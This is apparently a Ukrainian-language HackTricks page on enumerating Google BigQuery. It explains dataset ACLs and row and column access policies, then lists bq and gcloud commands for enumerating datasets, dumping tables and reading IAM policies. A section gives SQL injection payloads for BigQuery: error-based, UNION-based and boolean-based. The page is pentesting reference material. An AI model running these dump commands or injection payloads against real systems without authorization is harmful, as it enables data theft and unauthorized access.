GCP - Bigquery Enum
Reading time: 8 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Основна інформація
Google Cloud BigQuery є повністю керованим, безсерверним корпоративним сховищем даних, що пропонує можливості для аналізу петабайтів даних, таким чином ефективно обробляючи великі набори даних. Як Платформа як послуга (PaaS), вона надає користувачам інфраструктуру та інструменти для полегшення управління даними без необхідності ручного контролю.
Вона підтримує запити з використанням ANSI SQL. Основними об'єктами є набори даних, що містять таблиці, які містять SQL дані.
Шифрування
За замовчуванням використовується шифрувальний ключ, керований Google, хоча можливо налаштувати шифрувальний ключ, керований клієнтом (CMEK). Можливо вказати шифрувальний ключ для кожного набору даних та для кожної таблиці всередині набору даних.
Термін дії
Можливо вказати термін дії в наборі даних, тому будь-яка нова таблиця, створена в цьому наборі даних, буде автоматично видалена через вказану кількість днів після створення.
Зовнішні джерела
Bigquery глибоко інтегрований з іншими сервісами Google. Можливо завантажувати дані з бакетів, pub/sub, google drive, баз даних RDS...
ACL набору даних
Коли створюється набір даних, ACL прикріплюються для надання доступу до нього. За замовчуванням надаються права власника для користувача, який створив набір даних, а потім власнику групи projectOwners (власники проекту), письменнику групи projectWriters та читачу групи projectReaders:
bq show --format=prettyjson <proj>:<dataset>
...
"access": [
{
"role": "WRITER",
"specialGroup": "projectWriters"
},
{
"role": "OWNER",
"specialGroup": "projectOwners"
},
{
"role": "OWNER",
"userByEmail": "gcp-admin@hacktricks.xyz"
},
{
"role": "OWNER",
"userByEmail": "support@hacktricks.xyz"
},
{
"role": "READER",
"specialGroup": "projectReaders"
}
],
...
Контроль доступу до рядків таблиці
Можливо контролювати рядки, до яких принципал зможе отримати доступ у таблиці за допомогою політик доступу до рядків. Вони визначаються всередині таблиці за допомогою DDL.
Політика доступу визначає фільтр, і тільки відповідні рядки з цим фільтром будуть доступні вказаним принципалам.
# Create
CREATE ROW ACCESS POLICY apac_filter
ON project.dataset.my_table
GRANT TO ('user:abc@example.com')
FILTER USING (region = 'APAC');
# Update
CREATE OR REPLACE ROW ACCESS POLICY
CREATE ROW ACCESS POLICY sales_us_filter
ON project.dataset.my_table
GRANT TO ('user:john@example.com',
'group:sales-us@example.com',
'group:sales-managers@example.com')
FILTER USING (region = 'US');
# Check the Post Exploitation tricks to see how to call this from the cli
# Enumerate row policies on a table
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies
Контроль доступу до стовпців
.png)
Щоб обмежити доступ до даних на рівні стовпців:
- Визначте таксономію та політичні теги. Створіть і керуйте таксономією та політичними тегами для ваших даних. https://console.cloud.google.com/bigquery/policy-tags
- За бажанням: надайте роль читача з тонким контролем даних Data Catalog одному або кільком особам на один або кілька з політичних тегів, які ви створили.
- Призначте політичні теги своїм стовпцям BigQuery. У BigQuery використовуйте анотації схеми, щоб призначити політичний тег кожному стовпцю, до якого ви хочете обмежити доступ.
- Забезпечте контроль доступу до таксономії. Забезпечення контролю доступу призводить до застосування обмежень доступу, визначених для всіх політичних тегів у таксономії.
- Керуйте доступом до політичних тегів. Використовуйте Identity and Access Management (IAM) політики, щоб обмежити доступ до кожного політичного тегу. Політика діє для кожного стовпця, що належить до політичного тегу.
Коли користувач намагається отримати доступ до даних стовпця під час запиту, BigQuery перевіряє політичний тег стовпця та його політику, щоб дізнатися, чи має користувач право на доступ до даних.
tip
Як підсумок, щоб обмежити доступ до деяких стовпців для деяких користувачів, ви можете додати тег до стовпця в схемі та обмежити доступ користувачів до тегу, забезпечуючи контроль доступу до таксономії тегу.
Щоб забезпечити контроль доступу до таксономії, потрібно активувати сервіс:
gcloud services enable bigquerydatapolicy.googleapis.com
Можна переглянути теги стовпців за допомогою:
bq show --schema <proj>:<dataset>.<table>
[{"name":"username","type":"STRING","mode":"NULLABLE","policyTags":{"names":["projects/.../locations/us/taxonomies/2030629149897327804/policyTags/7703453142914142277"]},"maxLength":"20"},{"name":"age","type":"INTEGER","mode":"NULLABLE"}]
Перерахування
# Dataset info
bq ls # List datasets
bq ls -a # List all datasets (even hidden)
bq ls <proj>:<dataset> # List tables in a dataset
bq show --format=prettyjson <proj>:<dataset> # Get info about the dataset (like ACLs)
# Tables info
bq show --format=prettyjson <proj>:<dataset>.<table> # Get table info
bq show --schema <proj>:<dataset>.<table> # Get schema of a table
# Get entries from the table
bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
bq extract <dataset>.<table> "gs://<bucket>/table*.csv" # Use the * so it can dump everything in different files
# Insert data
bq query --nouse_legacy_sql 'INSERT INTO `digital-bonfire-410512.importeddataset.tabletest` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
bq insert dataset.table /tmp/mydata.json
# Get permissions
bq get-iam-policy <proj>:<dataset> # Get dataset IAM policy
bq show --format=prettyjson <proj>:<dataset> # Get dataset ACLs
bq get-iam-policy <proj>:<dataset>.<table> # Get table IAM policy
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies
# Taxonomies (Get the IDs from the shemas of the tables)
gcloud data-catalog taxonomies describe <taxonomi-ID> --location=<location>
gcloud data-catalog taxonomies list --location <location> #Find more
gcloud data-catalog taxonomies get-iam-policy <taxonomi-ID> --location=<location>
# Get jobs executed
bq ls --jobs=true --all=true
bq show --location=<location> show --format=prettyjson --job=true <job-id>
# Misc
bq show --encryption_service_account # Get encryption service account
BigQuery SQL Injection
Для отримання додаткової інформації ви можете перевірити блог: https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac. Тут будуть надані лише деякі деталі.
Коментарі:
select 1#from here it is not working
select 1/*between those it is not working*/
Але лише початковий не спрацюєselect 1--from here it is not working
Отримати інформацію про середовище такі як:
- Поточний користувач:
select session_user()
- Ідентифікатор проекту:
select @@project_id
Об'єднати рядки:
- Усі назви таблиць:
string_agg(table_name, ', ')
Отримати набори даних, таблиці та імена стовпців:
- Назва проекту та набору даних:
SELECT catalog_name, schema_name FROM INFORMATION_SCHEMA.SCHEMATA
- Назви стовпців та таблиць усіх таблиць набору даних:
# SELECT table_name, column_name FROM <proj-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS
SELECT table_name, column_name FROM <project-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS
- Інші набори даних в тому ж проекті:
# SELECT catalog_name, schema_name, FROM <proj-name>.INFORMATION_SCHEMA.SCHEMATA
SELECT catalog_name, schema_name, NULL FROM <project-name>.INFORMATION_SCHEMA.SCHEMATA
Типи SQL-ін'єкцій:
- На основі помилок - приведення типу:
select CAST(@@project_id AS INT64)
- На основі помилок - ділення на нуль:
' OR if(1/(length((select('a')))-1)=1,true,false) OR '
- На основі об'єднання (необхідно використовувати ALL у bigquery):
UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
- На основі булевих значень:
' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#
- Потенційно на основі часу - Використання публічних наборів даних приклад:
SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000
Документація:
- Усі функції: https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators
- Скриптові оператори: https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting
Підвищення привілеїв та постексплуатація
Постійність
Посилання
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.